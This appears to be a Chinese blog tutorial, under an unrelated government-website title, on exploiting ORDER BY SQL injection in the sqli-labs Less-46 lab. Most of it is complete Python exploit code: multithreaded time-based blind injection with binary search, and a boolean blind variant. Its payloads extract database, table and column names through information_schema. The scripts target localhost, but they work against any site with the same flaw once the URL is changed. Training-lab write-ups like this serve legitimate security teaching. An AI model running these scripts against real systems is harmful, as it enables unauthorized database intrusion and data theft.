辽宁省城乡建设厅官方网站网站建设技术
引言
在SQL注入攻击中,`ORDER BY`注入是一种容易被忽视但危害极大的漏洞类型。与传统的`UNION`或`WHERE`注入不同,`ORDER BY`参数通常无法直接返回查询结果,攻击者需要依赖**盲注(Blind SQLi)**技术逐字符提取数据。本文将结合一段Python多线程注入脚本,深入解析这一攻击的实现原理。
一、漏洞背景:ORDER BY注入的原理
ORDER BY子句用于对查询结果排序,其参数通常为列名或列序号。当后端未对用户输入的排序参数(如sort=1)进行过滤时,攻击者可构造恶意Payload,利用时间盲注(Time-Based Blind)逐步泄露数据。
漏洞示例URL:
url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'
参数sort存在注入点,例如:
http://127.0.0.1/sqlilabs/Less-46/index.php?sort=1
二、攻击脚本解析
完整代码附上:
import requests
import time
import concurrent.futuresdef get_char_at_position(url, position):low, high = 32, 128while low < high:mid = (low + high) // 2payload = f"if((ascii(substr(database(),{position},1))>{mid}),sleep(1),1)" #暴数据库名#暴表名#多行改limit截取# payload = f"if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{position},1))>{mid},sleep(1),1)"#暴列名# payload = f"if(ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'emails' LIMIT 1),{position},1))>{mid},sleep(1),1)"params = {"sort": payload}start_time = time.time()try:r = requests.get(url, params=params, timeout=20)except requests.Timeout:return position, Noneend_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midreturn position, chr(low) if low >= 32 else Nonedef inject_database_multithread(url):name = [''] * 20 # 假设最大长度 20with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:futures = {executor.submit(get_char_at_position, url, i): i for i in range(1, 21)}for future in concurrent.futures.as_completed(futures):pos, char = future.result()if char:name[pos-1] = charprint(f"Progress: {''.join(name)}")return ''.join(name).strip('\x00')if __name__ == "__main__":url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'database_name = inject_database_multithread(url)print("Database name:", database_name)
核心代码分析
1. 二分法逐字符爆破(`get_char_at_position`函数)
def get_char_at_position(url, position):low, high = 32, 128 # ASCII可打印字符范围while low < high:mid = (low + high) // 2# 构造Payload,根据字符ASCII值二分判断payload = f"if(ascii(substr((SELECT ... LIMIT 1),{position},1))>{mid},sleep(1),1)"params = {"sort": payload}# 发送请求并测量响应时间start_time = time.time()r = requests.get(url, params=params, timeout=20)elapsed = time.time() - start_time# 根据是否触发sleep(1)调整二分区间if elapsed >= 1:low = mid + 1else:high = midreturn chr(low)
二分查找:将字符ASCII值范围(32-128)不断二分,通过响应时间判断字符的真实值。
时间盲注:利用`if(condition, sleep(1), 1)`,若条件为真则延迟1秒。
2. 多线程加速(`inject_database_multithread`函数)
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:futures = {executor.submit(get_char_at_position, url, i): i for i in range(1, 21)}
使用线程池并发爆破不同位置的字符,理论上速度提升**N倍**(N为线程数)。
3. 切换Payload目标
# 爆破数据库名
payload = f"if((ascii(substr(database(),{position},1))>{mid}),sleep(1),1)"# 爆破security库的表名(需修改LIMIT)
payload = f"if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),{position},1))>{mid},sleep(1),1)"# 爆破emails表的列名
payload = f"if(ascii(substr((SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'emails' LIMIT 1),{position},1))>{mid},sleep(1),1)"
通过修改`LIMIT`偏移遍历所有表或列。
三、攻击效果演示
运行脚本后,输出如下:
四、布尔盲注
代码与时间盲注类似,仅需要改掉二分法的判断,如下:
import requests
from urllib.parse import urlencode
from bs4 import BeautifulSoup
url1="http://127.0.0.1/sqli-labs/Less-46/index.php"
def orderby_inject_database(url1):name = ''for i in range(1, 100):low = 32high = 128mid = (low + high) // 2while low < high:payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)res = {"sort": payload}r = requests.get(url1, params=res)# if 'You are in...........' in r.text:html = r.textsoup = BeautifulSoup(html,'html.parser')getUsername = soup.find_all('td')[1].textif getUsername == "admin3":low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)
orderby_inject_database(url1)
五、其他攻击方式
参考文章:SQL-Labs靶场“46-50”关通关教程_sqli-labs50-CSDN博客